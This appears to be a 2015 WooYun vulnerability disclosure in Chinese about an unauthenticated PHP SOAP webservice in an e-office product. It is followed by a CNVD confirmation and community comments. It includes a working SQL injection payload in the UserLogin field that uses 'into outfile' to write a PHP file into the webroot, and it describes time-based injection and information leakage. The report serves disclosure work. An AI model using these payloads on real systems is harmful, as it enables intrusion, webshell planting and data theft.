$server->register( "SendMessage", array( "fromUserID" => "xsd:string", "toUserID" => "xsd:string", "content" => "xsd:string", "attachmentID" => "xsd:string", "attachmentName" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:EofficeService", "urn:EofficeService#SendMessage", "rpc", "encoded", "SendMessage" );
$server->wsdl->addComplexType( "messageReturnArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:messageReturn[]" ) ), "tns:messageReturn" );
$server->wsdl->addComplexType( "messageReturn", "complexType", "struct", "all", "", array( "fromUserName" => array( "name" => "fromUserName", "type" => "xsd:string" ), "content" => array( "name" => "content", "type" => "xsd:string" ), "sendTime" => array( "name" => "sendTime", "type" => "xsd:string" ), "fromUserAvatar" => array( "name" => "fromUserAvatar", "type" => "xsd:string" ), "fromUserID" => array( "name" => "fromUserID", "type" => "xsd:string" ), "smsID" => array( "name" => "smsID", "type" => "xsd:string" ), "smsType" => array( "name" => "smsType", "type" => "xsd:string" ), "attachmentID" => array( "name" => "attachmentID", "type" => "xsd:string" ), "attachmentName" => array( "name" => "attachmentName", "type" => "xsd:string" ), "typeText" => array( "name" => "typeText", "type" => "xsd:string" ), "typeUrl" => array( "name" => "typeUrl", "type" => "xsd:string" ), "smsTypeName" => array( "name" => "smsTypeName", "type" => "xsd:string" ) ) );
$server->register( "GetMessage", array( "userID" => "xsd:string", "isOnlyNew" => "xsd:boolean" ), array( "return" => "tns:messageReturnArray" ), "urn:EofficeService", "urn:EofficeService#GetMessage", "rpc", "encoded", "GetMessage" );
$server->register( "SetMessageRead", array( "userID" => "xsd:string", "messageIDStr" => "xsd:string", "fromUserID" => "xsd:string" ), array( ), "urn:EofficeService", "urn:EofficeService#SetMessageRead", "rpc", "encoded", "SetMessageRead" );
$server->register( "CreateFile", array( "subject" => "xsd:string", "attachmentIDStr" => "xsd:string", "attachmentNameStr" => "xsd:string", "userID" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:EofficeService", "urn:EofficeService#CreateFile", "rpc", "encoded", "CreateFile" );
$server->wsdl->addComplexType( "newVersionReturnArray", "complexType", "struct", "all", "", array( "version" => array( "name" => "version", "type" => "xsd:string" ), "readme" => array( "name" => "readme", "type" => "tns:newVersionReadmeArray" ) ) );
$server->wsdl->addComplexType( "newVersionReadmeArray", "complexType", "array", "", "SOAP-ENC:Array", array( ), array( array( "ref" => "SOAP-ENC:arrayType", "wsdl:arrayType" => "tns:newVersionReadme[]" ) ), "tns:newVersionReadme" );
$server->wsdl->addComplexType( "newVersionReadme", "complexType", "struct", "all", "", array( "subject" => array( "name" => "subject", "type" => "xsd:string" ), "describe" => array( "name" => "describe", "type" => "xsd:string" ), "image" => array( "name" => "image", "type" => "xsd:string" ) ) );
$server->register( "GetNewVersion", array( ), array( "return" => "tns:newVersionReturnArray" ), "urn:EofficeService", "urn:EofficeService#GetNewVersion", "rpc", "encoded", "GetNewVersion" );
$server->register( "Attend", array( "userID" => "xsd:string", "deptID" => "xsd:string", "privID" => "xsd:string", "checkType" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:EofficeService", "urn:EofficeService#Attend", "rpc", "encoded", "Attend" );
$server->register( "CheckIsSignIn", array( "userID" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:EofficeService", "urn:EofficeService#CheckIsSignIn", "rpc", "encoded", "CheckIsSignIn" );
$server->service( $HTTP_RAW_POST_DATA );
?>





1.这个文件内容,直到最后也没有任何auth控制,也就是说我们可以通过未授权访问了

2.传递参数HTTP_RAW_POST_DATA 这个不走gpc





为了方便期间,我这里偷个懒,

对http://**.**.**.**/attachment/mysql_log.sql

这个站点mysql配置了抓取



1.png

测试完了,删除即可





然后我再次偷懒,下载了wsdigger软件,进行webservice的wsdl文件解析



2.png







首先我们看信息泄露:



2.png





3.png





4.png









然后我们看sql注射,这里我举两个例子就可以了,因为这个里面的sql语句都带有\r\n\t\t\t\做换行,这种的注释,直接/*就可以做到,其他的都不管用



先看UserLogin 这个借口:



里面的 userAccount 为



admin' union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,10,1,2,3,4,5,6,7,8,9,10,10,1,2,3,4,5,6,7,8,9,10,10,1,2,3,4,5,6,7,8,9,10,1,'wooyun' into outfile 'D:/eoffice/webroot/attachment/wooyun.php'#



5.png







6.png







访问:

http://**.**.**.**/attachment/wooyun.php



7.png







下来看看 第二种sql注射:



测试createFile这个接口:

7.png







当你点击invoke时候就会发成延迟,我们抓取到的sql语句为:

8.png





ok 统计一下有10处,案例不多举例子了





http://**.**.**.**//webservice/eoffice.wsdl.php?wsdl

http://**.**.**.**/webservice/eoffice.wsdl.php?wsdl

http://**.**.**.**/webservice/eoffice.wsdl.php?wsdl

http://**.**.**.**:8028/webservice/eoffice.wsdl.php?wsdl





漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-10 11:56

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-07-08 12:53 | Coody 认证白帽子 ( 核心白帽子 | Rank:1789 漏洞数:213 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)
    0

    通用的又有钱了?这么速度

  2. 2015-07-08 12:54 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Coody 估计是乌云收到投资了吧,呵呵

  3. 2015-07-08 12:59 | Coody 认证白帽子 ( 核心白帽子 | Rank:1789 漏洞数:213 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)
    0

    @menmen519 两个数 or 五个数

  4. 2015-07-08 13:06 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Coody 这个在乌云不值钱,看钱来看,是小厂商

  5. 2015-07-08 13:19 | Coody 认证白帽子 ( 核心白帽子 | Rank:1789 漏洞数:213 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)
    0

    @menmen519 懂了`(*∩_∩*)′

  6. 2015-07-08 14:40 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    @menmen519 这个是在提升体验啊,难道没感觉到?

  7. 2015-07-08 14:53 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @疯狗 确实的,希望一直这样下去,通用的就耍起了,呵呵

  8. 2015-07-09 15:02 | 浮萍 ( 普通白帽子 | Rank:1030 漏洞数:200 | 沉淀)
    0

    我的都还没$呢o(╯□╰)o

  9. 2015-07-09 15:42 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)
    0

    过来点赞!

登录后才能发表评论,请先 登录